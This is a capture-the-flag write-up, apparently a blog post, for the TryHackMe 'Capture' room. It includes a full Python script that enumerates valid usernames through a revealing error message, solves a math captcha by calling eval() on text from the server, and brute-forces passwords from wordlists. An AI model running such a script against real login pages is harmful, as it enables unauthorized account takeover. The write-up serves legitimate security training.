5 min read23 hours ago

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In this write-up, we are going to bypass the login form of a vulnerable web application and then using Python script to automate the process

Room Link: https://tryhackme.com/room/capture

Room Description: *SecureSolaCoders *has once again developed a web application. They were tired of hackers enumerating and exploiting their previous login form. They thought a Web Application Firewall (WAF) was too overkill and unnecessary, so they developed their own rate limiter and modified the code slightly

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**AI **generated

Gettting ready to hunt

• Start the target machine & Download Task Files
• Boot your attack box
• Connect to the TryHackMe network

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Download Task Files

1️⃣ Analyze the Task Files

Once you download and unzip the Task Files, here is what it contains

Task Files

From the above files (username.txt & passwords.txt) we can say that the task is to brute force the login page and find the correct credentials

2️⃣Understanding the Login page functionality

You might encounter following web page when you first visit the IP address in your browser

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Login Page

After trying multiple incorrect credentials from the task files (username.txt & password.txt), captcha was enabled to prevent brute force attacks

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Captcha enabled

So, we need to solve the captcha each time to verify the username and password. Let’s capture this request in BurpSuite

POST request captured in BurpSuite

Above you can see the parameters that a POST request contains, so it is clear that we have to pass these three parameters on each request to verify the username & password

3️⃣Code the process

To automate this process I developed my custom python script to find the correct credentials. Following are the code snippets of the python script along explanation to each function used in the script:

1. Import required libraries

import sysimport requestsimport urllib3import reurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)proxies={'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}s=requests.session()reg_pattern= r'\d{1,}\s(.)\s\d{1,}'

import sys It provides access to system parameters and allowing users to interact with the program such as taking a parameter value from user

import requests to deal with web requests and response from the server

import urllib3 to deal with URLs

import re using regular expression tool to match for specific patters

the proxies variable contains the value to web proxy server, in this case we are using BurpSuite

reg_pattern is the pattern to extract captcha value from the response and perform operations on it

2. Extract captcha from the response

def get_captcha(url):    data= {'username':'test','password':'testpass'} #Missing captcha    res=s.post(url=url, proxies=proxies, verify=False, data=data)    challenge=re.search(reg_pattern, res.text)    solution=eval(challenge.group().strip())    return solution

this function is used to make web request and solve the captcha challenge from the response using in-built eval() function

3. Enumerate username

From the response, you can see that website says ‘**The user **rachel does not exist’ instead it should response that ‘The username or password is invalid’ . This improper response allows attacker to enumerate the username:

def user_enum(url,user_list,captcha):    print("(+) Enumerating users...")    with open(user_list, 'r') as file:        for username in file:            username = username.strip()            if username:                data={'username':username,'password':'testpass','captcha':captcha}                res=s.post(url=url, proxies=proxies, verify=False, data=data)                if "does not exist" in res.text:                    print(username)                elif "Invalid captcha" in res.text:                    print("[-] Invalid captcha")                else:                    print(f"[+] Username found: {username}")                    return username, captcha                challenge=re.search(reg_pattern, res.text)                captcha=eval(challenge.group().strip())

4. Enumerate password

After finding the valid username pass_enum function is called to enumerate the password

def pass_enum(url, username, pass_list, captcha):    print("(+) Enumerating password...")        with open(pass_list, 'r') as file:        for password in file:            password = password.strip()            if password:                data= {'username':username,'password':password,'captcha':captcha}                res=requests.post(url=url, proxies=proxies, verify=False, data=data)                if "Invalid password" in res.text:                    print(f"{username}:{password}")                elif "Invalid captcha" in res.text:                    print("[-] Invalid captcha")                else:                    print(f"[+] Password found: {password}")                    return password                challenge=re.search(reg_pattern, res.text)                captcha=eval(challenge.group().strip())

Main function

Input required values from the user and call the functions as required

if __name__ == "__main__":    if len(sys.argv)!=4:        print("[+] Usage: %s URL path_to_user_wordlist path_to_pass_wordlist" %sys.argv[0])        print("[+] Example: %s http://10.201.118.234/login users.txt pass.txt" %sys.argv[0])        sys.exit(-1)    url=sys.argv[1].strip()    user_list=sys.argv[2].strip()    pass_list=sys.argv[3].strip()    for i in range(0,10): #Trigger rate limiting, captcha challenge        params={'username':'test', 'password':'test'}        res=requests.post(url=url, data=params, verify=False, proxies=proxies)        if "Invalid captcha" in res.text:            break    captcha=get_captcha(url)    username,captcha=user_enum(url,user_list,captcha)    password=pass_enum(url,username,pass_list,captcha)    print(f"[+] Credentials {username}:{password}")

You can automate the process and find the valid credentials using following Python script

Now, run the script:

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Script in action

Note:* Before executing this script, keep your BurpSuite running, because this script requires a web proxy tool listening on port 8080*

Credentials found

Credentials found

Login to the web page using credentials found above, here is the flag.txt:

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‘flag’ found